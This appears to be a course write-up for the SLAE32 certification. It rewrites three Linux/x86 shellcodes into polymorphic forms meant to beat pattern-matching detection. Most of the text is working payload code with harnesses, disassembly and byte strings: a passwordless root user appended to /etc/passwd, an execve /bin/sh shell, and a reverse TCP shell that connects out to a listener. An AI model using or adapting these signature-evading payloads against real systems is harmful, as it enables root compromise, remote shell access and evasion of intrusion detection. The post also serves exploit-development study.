Review Shell-Storm Shellcodes adding Polymorphism
Introduction
The main goal is to take up 3 shellcodes from Shell-Storm and create polymorphic versions of them to beat pattern matching, the conditions are:
- The polymorphic versions cannot be larger 150% of the existing shellcode
- Try to get it shorter in length than original
Linux/x86 - adds a root user no-passwd to /etc/passwd - 83 bytes by Bob [Dtors[dot]net]
First shellcode is for add uid 0 gid 0 in /etc/passwd, we start from this shellcode of 83 bytes and try to realize a new smaller shellcode.
/* Linux x86 shellcode, to open() write() close() and */
/* exit(), adds a root user no-passwd to /etc/passwd */
/* By bob from dtors.net */
#include <stdio.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x53\x68\x73\x73\x77"
"\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74"
"\x89\xe3\x66\xb9\x01\x04\xb0\x05\xcd\x80\x89"
"\xc3\x31\xc0\x31\xd2\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x68\x3a\x3a\x2f\x3a\x68\x3a"
"\x30\x3a\x30\x68\x62\x6f\x62\x3a\x89\xe1\xb2"
"\x14\xb0\x04\xcd\x80\x31\xc0\xb0\x06\xcd\x80"
"\x31\xc0\xb0\x01\xcd\x80";
int
main()
{
void (*dsr) ();
(long) dsr = &shellcode;
printf("Size: %d bytes.\n", sizeof(shellcode));
dsr();
}
Now we check the Assembly using ndisasm
00000000 31C0 xor eax,eax
00000002 31DB xor ebx,ebx
00000004 31C9 xor ecx,ecx
00000006 53 push ebx
00000007 6873737764 push dword 0x64777373
0000000C 68632F7061 push dword 0x61702f63
00000011 682F2F6574 push dword 0x74652f2f
00000016 89E3 mov ebx,esp
00000018 66B90104 mov cx,0x401
0000001C B005 mov al,0x5
0000001E CD80 int 0x80
00000020 89C3 mov ebx,eax
00000022 31C0 xor eax,eax
00000024 31D2 xor edx,edx
00000026 686E2F7368 push dword 0x68732f6e
0000002B 682F2F6269 push dword 0x69622f2f
00000030 683A3A2F3A push dword 0x3a2f3a3a
00000035 683A303A30 push dword 0x303a303a
0000003A 68626F623A push dword 0x3a626f62
0000003F 89E1 mov ecx,esp
00000041 B214 mov dl,0x14
00000043 B004 mov al,0x4
00000045 CD80 int 0x80
00000047 31C0 xor eax,eax
00000049 B006 mov al,0x6
0000004B CD80 int 0x80
0000004D 31C0 xor eax,eax
0000004F B001 mov al,0x1
00000051 CD80 int 0x80
Ok we have some chances here, first the close()
syscall isn’t necessary as we saw in the msfvenon adduser payload, next we can clean some eax and edx register xoring operations changing it with the mul
instruction, another change we can make is to substitute the push <register>, esp
with the load effective address instruction lea <register>, [esp]
, last we can change the push
and push dword
instructions with mov
. In this case we have a good polymorphism but the shellcode length is 107 bytes against the original 86 bytes.
xor ebx, ebx
xor ecx, ecx
mov cx, 0x401
mul ebx ; this put 0 in eax and edx
mov [esp-4], ebx ; same as push
mov dword [esp-8], 0x64777373 ; same as push
mov dword [esp-12], 0x61702f63 ; same as push
mov dword [esp-16], 0x74652f2f ; same as push
sub esp, 16
lea ebx, [esp] ; same as mov the stack pointer to ebx
mov al, 0x5
int 0x80
xchg ebx, eax ; move fd pointer in ebx
mul edx ; this put 0 in eax and edx
mov dword [esp-4], 0x68732f6e ; -------------------------
mov dword [esp-8], 0x69622f3a ;
mov dword [esp-12], 0x2f3a3a30 ; hs/nib/:/::0:0::resU
mov dword [esp-16], 0x3a303a3a ;
mov dword [esp-20], 0x72657355 ; -------------------------
sub esp, 20
lea ecx, [esp] ; same as mov the stack pointer to ecx
mov dl, 0x14
mov al, 0x4
int 0x80 ; exit syscall now, the close syscall isn't necessary
sub al, 0x13 ; write() return in eax the number of byte written (14) - 13 = 1
int 0x80
root@slae32-lab:# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
root@slae32-lab:# ./shellcode
Shellcode Length: 107
If we leave the push
and push dword
instructions the length is 74 bytes, less than original.
xor ebx, ebx
xor ecx, ecx
mov cx, 0x401
mul ebx ; this put 0 in eax and edx
push ebx
push dword 0x64777373
push dword 0x61702f63
push dword 0x74652f2f
lea ebx, [esp] ; same as mov the stack pointer to ebx
mov al, 0x5
int 0x80
xchg ebx, eax ; move fd pointer in ebx
mul edx ; this put 0 in eax and edx
push dword 0x68732f6e ; -------------------------
push dword 0x69622f3a ;
push dword 0x2f3a3a30 ; hs/nib/:/::0:0::resU
push dword 0x3a303a3a ;
push dword 0x72657355 ; -------------------------
lea ecx, [esp] ; same as mov the stack pointer to ecx
mov dl, 0x14
mov al, 0x4
int 0x80 ; exit syscall now, the close syscall isn't necessary
sub al, 0x13 ; write() return in eax the number of byte written (14) - 13 = 1
int 0x80
root@slae32-lab:# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
root@slae32-lab:# ./shellcode
Shellcode Length: 74
Let’s test both shellcodes, the biggest shellcode_adduser_big
and the smallest shellcode_adduser_small
.
Move on to the next shellcode.
Linux/x86 - execve (/bin/sh) - 21 Bytes by kernel_panik
This is a very interesting shellcode, it’s a /bin/sh
but very very small, only 21 bytes.
/*
Title: linux/x86 Shellcode execve ("/bin/sh") - 21 Bytes
Date : 10 Feb 2011
Author : kernel_panik
Thanks : cOokie, agix, antrhacks
*/
/*
xor ecx, ecx
mul ecx
push ecx
push 0x68732f2f ;; hs//
push 0x6e69622f ;; nib/
mov ebx, esp
mov al, 11
int 0x80
*/
#include <stdio.h>
#include <string.h>
char code[] = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\xb0\x0b\xcd\x80";
int main(int argc, char **argv)
{
printf ("Shellcode length : %d bytes\n", strlen (code));
int(*f)()=(int(*)())code;
f();
}
Now we check the Assembly using ndisasm
00000000 31C9 xor ecx,ecx
00000002 F7E1 mul ecx
00000004 51 push ecx
00000005 682F2F7368 push dword 0x68732f2f
0000000A 682F62696E push dword 0x6e69622f
0000000F 89E3 mov ebx,esp
00000011 B00B mov al,0xb
00000013 CD80 int 0x80
It’s very minimal, perfect for some polymorphic adjustments. We know that our shellcode can’t exceed the 150% of the orignal one, in this case starting from a shellcode of 21 bytes we must write another one at most of 31 bytes rounded down. Let’s start changing the xoring operations.
We can use cdq
that convert Doubleword to Quadword and store the result in EDX (0x0), next we mul edx
and store the result in EAX (0x0), last we load the value of EAX in ECX (0x0), then we can change the push hs/nib//
operations in mov
to some registers and then push
the registers in the stack, last we can lea
the stack pointer to EBX and call the execve
syscall. Here’s the assembly code.
cdq ; xor edx
mul edx ; xor eax
lea ecx, [eax] ; xor ecx
mov esi, 0x68732f2f
mov edi, 0x6e69622f
push ecx ; push NULL in stack
push esi ; push hs/ in stack
push edi ; push nib// in stack
lea ebx, [esp] ; load stack pointer to ebx
mov al, 0xb ; load execve in eax
int 0x80
We can load the code in our C executer and check the length
root@slae32-lab:# objdump -d ./execve|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x99\xf7\xe2\x8d\x08\xbe\x2f\x2f\x73\x68\xbf\x2f\x62\x69\x6e\x51\x56\x57\x8d\x1c\x24\xb0\x0b\xcd\x80"
root@slae32-lab:# gcc -fno-stack-protector -z execstack shellcode_execve.c -o shellcode_execve
root@slae32-lab:# ./shellcode_execve
Shellcode Length: 25
#
25 bytes sounds good!
Linux/x86 - Reverse TCP bind shell - 92 bytes by Russell Willis
Now for the last shellcode we will return back to a reverse shell. This could be a valid candidate for our purposes.
/*
Title : reversetcpbindshell (92 bytes)
Date : 16 May 2013
Author : Russell Willis <codinguy@gmail.com>
Testd on: Linux/x86 (SMP Debian 3.2.41-2 i686)
*/
#include <stdio.h>
/*
ipaddr 192.168.1.10 (c0a8010a)
port 31337 (7a69)
*/
#define IPADDR "\xc0\xa8\x01\x0a"
#define PORT "\x7a\x69"
unsigned char code[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
"\x01\x6a\x02\x89\xe1\xcd\x80\x89"
"\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
IPADDR"\x66\x68"PORT"\x66\x53\xfe"
"\xc3\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
"\xc0\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"
"\x80";
main()
{
printf("Shellcode Length: %d\n", sizeof(code)-1);
int (*ret)() = (int(*)())code;
ret();
}
and the assembly code using ndisasm
root@slae32-lab:# echo -ne "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68\xc0\xa8\x01\x0a\x66\x68\x7a\x69\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80" | ndisasm -u -
00000000 31C0 xor eax,eax
00000002 31DB xor ebx,ebx
00000004 31C9 xor ecx,ecx
00000006 31D2 xor edx,edx
00000008 B066 mov al,0x66
0000000A B301 mov bl,0x1
0000000C 51 push ecx
0000000D 6A06 push byte +0x6
0000000F 6A01 push byte +0x1
00000011 6A02 push byte +0x2
00000013 89E1 mov ecx,esp
00000015 CD80 int 0x80
00000017 89C6 mov esi,eax
00000019 B066 mov al,0x66
0000001B 31DB xor ebx,ebx
0000001D B302 mov bl,0x2
0000001F 68C0A8010A push dword 0xa01a8c0
00000024 66687A69 push word 0x697a
00000028 6653 push bx
0000002A FEC3 inc bl
0000002C 89E1 mov ecx,esp
0000002E 6A10 push byte +0x10
00000030 51 push ecx
00000031 56 push esi
00000032 89E1 mov ecx,esp
00000034 CD80 int 0x80
00000036 31C9 xor ecx,ecx
00000038 B103 mov cl,0x3
0000003A FEC9 dec cl
0000003C B03F mov al,0x3f
0000003E CD80 int 0x80
00000040 75F8 jnz 0x3a
00000042 31C0 xor eax,eax
00000044 52 push edx
00000045 686E2F7368 push dword 0x68732f6e
0000004A 682F2F6269 push dword 0x69622f2f
0000004F 89E3 mov ebx,esp
00000051 52 push edx
00000052 53 push ebx
00000053 89E1 mov ecx,esp
00000055 52 push edx
00000056 89E2 mov edx,esp
00000058 B00B mov al,0xb
0000005A CD80 int 0x80
It’s an old shellcode i don’t know why it makes 2 socket syscalls but we can remove one, next we can change the socket
syscall from 0x66
to 0x167
, next we can work on registers xoring operations using mul
, then we will change the IP address in the connect
syscall to 127.0.0.1
using the sub
trick to avoid the presence of NULL bytes, next we can subtract some bytes also saving the socket pointer directly in EBX and last we can use our previous polymorphed execve
shellcode of 25 bytes.
Let’s take a look to the complete assembly code
;socket()
xor ecx, ecx ; xoring ECX
xor ebx, ebx ; xoring EBX
mul ebx ; xoring EAX and EDX
inc cl ; ECX should be 1
inc bl
inc bl ; EBX should be 2
mov ax, 0x167 ;
int 0x80 ; call socket()
;connect() ; move the return value of socket
xchg ebx, eax ; from EAX to EBX ready for the next syscalls
; push sockaddr structure in the stack
dec cl
push ecx ; unused char (0)
; move the length (16 bytes) of IP in EDX
mov dl, 0x16
; the ip address 1.0.0.127 could be 4.3.3.130 to avoid NULL bytes
mov ecx, 0x04030382 ; mov ip in ecx
sub ecx, 0x03030303 ; subtract 3.3.3.3 from ip
push ecx ; load the real ip in the stack
push word 0x5c11 ; port 4444
push word 0x02 ; AF_INET family
lea ecx, [esp]
; EBX still contain the value of the opened socket
mov ax, 0x16a
int 0x80
; dup2()
xor ecx, ecx
mov cl, 0x3
dup2:
xor eax, eax
; EBX still contain the value of the opened socket
mov al, 0x3f
dec cl
int 0x80
jnz dup2
; execve() from the previous polymorphic analysis 25 bytes
cdq ; xor edx
mul edx ; xor eax
lea ecx, [eax] ; xor ecx
mov esi, 0x68732f2f
mov edi, 0x6e69622f
push ecx ; push NULL in stack
push esi ; push hs/ in stack
push edi ; push nib// in stack
lea ebx, [esp] ; load stack pointer to ebx
mov al, 0xb ; load execve in eax
int 0x80
We can test it and see the length, 91 bytes! 1 byte less then original.
All the shellcodes developed in this post are published on Exploit-Db.
- Linux/x86 - adduser (User) to /etc/passwd Shellcode (74 bytes)
- Linux/x86 - execve /bin/sh Shellcode (25 bytes)
- Linux/x86 - Reverse Shell NULL free 127.0.0.1:4444 Shellcode (91 bytes)
All the codes used in this post are available in my dedicated github repo.
This blog post has been created for completing the requirements
of the SecurityTube Linux Assembly Expert certification: SLAE32 Course
Student ID: SLAE-1476